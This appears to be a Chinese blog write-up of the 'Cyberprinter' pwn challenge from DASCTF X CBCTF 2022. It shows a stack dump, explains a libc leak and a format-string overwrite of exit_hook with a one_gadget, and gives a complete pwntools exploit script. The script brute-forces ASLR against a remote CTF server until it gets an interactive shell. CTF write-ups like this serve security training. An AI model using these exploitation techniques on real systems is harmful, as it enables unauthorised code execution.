DASCTF X CBCTF 2022九月挑战赛 Cyberprinter WriteUp

分析过程

观察栈结构

这题的关键(对我来说)就是利用栈上残留的数据。平时练的不多,没有这个习惯,导致泄露和格式化字符串利用都遇上了麻烦。

vuln函数里的栈结构如下:

00:0000│ rsp 0x7fffffffdfe0 ◂— 0x0
... ↓        2 skipped
03:0018│     0x7fffffffdff8 —▸ 0x7ffff7fb55c0 (_IO_2_1_stderr_) ◂— 0xfbad2087
04:0020│     0x7fffffffe000 ◂— 0x0
05:0028│     0x7fffffffe008 —▸ 0x7ffff7e5a525 (_IO_default_setbuf+69) ◂— cmp    eax, -1
06:0030│     0x7fffffffe010 ◂— 0x0
07:0038│     0x7fffffffe018 —▸ 0x7ffff7fb55c0 (_IO_2_1_stderr_) ◂— 0xfbad2087
08:0040│     0x7fffffffe020 ◂— 0x0
09:0048│     0x7fffffffe028 ◂— 0x0
0a:0050│     0x7fffffffe030 —▸ 0x7ffff7fb14a0 (_IO_file_jumps) ◂— 0x0
0b:0058│     0x7fffffffe038 —▸ 0x7ffff7e5653d (_IO_file_setbuf+13) ◂— test   rax, rax
0c:0060│     0x7fffffffe040 —▸ 0x7ffff7fb55c0 (_IO_2_1_stderr_) ◂— 0xfbad2087
0d:0068│     0x7fffffffe048 —▸ 0x7ffff7e4cc3c (setbuffer+204) ◂— test   dword ptr [rbx], 0x8000
0e:0070│     0x7fffffffe050 —▸ 0x7ffff7fd15e0 (dl_main) ◂— endbr64
0f:0078│     0x7fffffffe058 —▸ 0x5555555553f0 (__libc_csu_init) ◂— endbr64
10:0080│     0x7fffffffe060 —▸ 0x7fffffffe080 —▸ 0x7fffffffe090 ◂— 0x0
11:0088│     0x7fffffffe068 —▸ 0x555555555140 (_start) ◂— endbr64
12:0090│     0x7fffffffe070 —▸ 0x7fffffffe180 ◂— 0x1
13:0098│     0x7fffffffe078 —▸ 0x55555555526d (init+68) ◂— nop
14:00a0│ rbp 0x7fffffffe080 —▸ 0x7fffffffe090 ◂— 0x0
15:00a8│     0x7fffffffe088 —▸ 0x5555555553e4 (main+28) ◂— mov    edi, 0

其中,第一个输入的buf变量存放在rsp即栈顶位置,第二个输入点的变量s存放在rsp+10的位置。另外,我们看到buf溢出后刚好连接到存放_IO_2_1_stderr_地址的位置。

泄露libc

程序vuinbuf溢出了8个字节长度刚好连接到之前设置无IO缓冲的setbuf函数压入栈中的_IO_2_1_stderr_

stack

这里0x7fffffffdfb0就是buf在栈上的地址,写满0x18位之后,输出字符串没有0截断,可以直接输出_IO_2_1_stderr_的地址。

计算得到libc基址。

格式化字符串

把ogg写入exit_hook,同时把_start写入返回地址,因为exit_hook只能由判断pPxX的代码块里exit触发(main函数里的_exit是不同的)。

这里因为开启了PIEASLR,所以需要爆破。_start函数的后三位已知,第4位需要爆破。返回地址第2位也需要爆破。

Exploit

最终exp如下:

from pwn import *
from capstone import *
from capstone import x86

debug = False
local_path = './cyberprinter'
remote_path = 'node4.buuoj.cn'
remote_port = 25044
file = ELF(local_path)
libc = ELF('./libc-2.31.so')
context.binary = local_path

if debug:
    io = process(local_path)
    context.terminal = ['cmd.exe', '/c', 'wt.exe', 'bash', '-c']
    context.log_level = 'debug'
else: 
    io = remote(remote_path, remote_port)

# get __run_exit_handlers addr based on offset of exit
def get_run_exit_handlers(libc):
    code = libc.data
    off = libc.sym['exit']
    md = Cs(CS_ARCH_X86, CS_MODE_64)
    md.detail = True

    # look for ptr offset
    ptr_run_exit_handlers = None
    for insn in md.disasm(code[off:], off):
        if insn.mnemonic == 'call':
            for operand in insn.operands:
                if operand.type == x86.X86_OP_IMM:
                    ptr_run_exit_handlers = operand.value.imm
                    break
            if ptr_run_exit_handlers:
                break

    if ptr_run_exit_handlers is None:
        return None
    return ptr_run_exit_handlers

# get __libc_atexit addr based on offset of __run_exit_handlers
def get_libc_atexit_addr(libc):
    code = libc.data
    off = get_run_exit_handlers(libc)
    md = Cs(CS_ARCH_X86, CS_MODE_64)
    md.detail = True

    # look for ptr offset
    ptr_libc_atexit = None
    for insn in md.disasm(code[off:], off):
        # print("0x%x+%u:\t%s\t%s" % (off, inst.address-off, inst.mnemonic, inst.op_str))
        if insn.mnemonic == 'lea' and len(insn.operands) == 2:
            dest, src = insn.operands
            if dest.type == x86.X86_OP_REG and insn.reg_name(dest.value.reg) == 'rbx':
                if src.type == x86.X86_OP_MEM and insn.reg_name(src.value.mem.base) == 'rip':
                    ptr_libc_atexit = insn.address + insn.size + src.value.mem.disp

            if ptr_libc_atexit:
                break

    if ptr_libc_atexit is None:
        return None
    return ptr_libc_atexit

def b():
    gdb.attach(io)
    input()

def exp():
    one_gadget = [0xe6aee, 0xe6af1, 0xe6af4]

    io.sendafter(b"pls..",b'a'*0x10+b'Nameless')
    io.recvuntil(b'Nameless')
    libcbase = unpack(io.recvuntil(b'!')[:-1].ljust(8, b'\0')) - libc.sym['_IO_2_1_stderr_']
    log.success('leak libcbase:'+hex(libcbase))

    exit_hook = libcbase + get_libc_atexit_addr(libc)
    log.info("exit hook:"+hex(exit_hook))
    ogg = libcbase+one_gadget[0]

    A = (ogg&0xffff) % 0x10000
    B = (((ogg>>16)&0xffff) - A) % 0x10000
    C = (0x5140 - A - B) % 0x10000
    payload = "%{}c%20$hn%{}c%21$hn%{}c%22$hn".format(A, B, C).encode()
    payload = payload.ljust(8*12, b'a') + pack(exit_hook) + pack(exit_hook+2) + b'\x58'
    io.sendafter(b'do sth', payload)
    io.recvuntil(b'you want!')
    log.success('payload exec')
    io.sendafter(b"pls..", b'deadbeef')
    io.sendafter(b'do sth', b'pPxX')
    io.recvuntil(b'bad luck')
    log.success('get shell')
    io.interactive()

if __name__=='__main__':
    while True:
        try:
            exp()
        except:
            io.close()
            io = remote(remote_path, remote_port)

其中定位exit_hook的函数是我自己写的,原理参考:Python解析libc未导出符号

Get Shell

getshell

总结

  • format string
  • exit_hook
  • 多调试,多观察栈结构
暂无评论

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇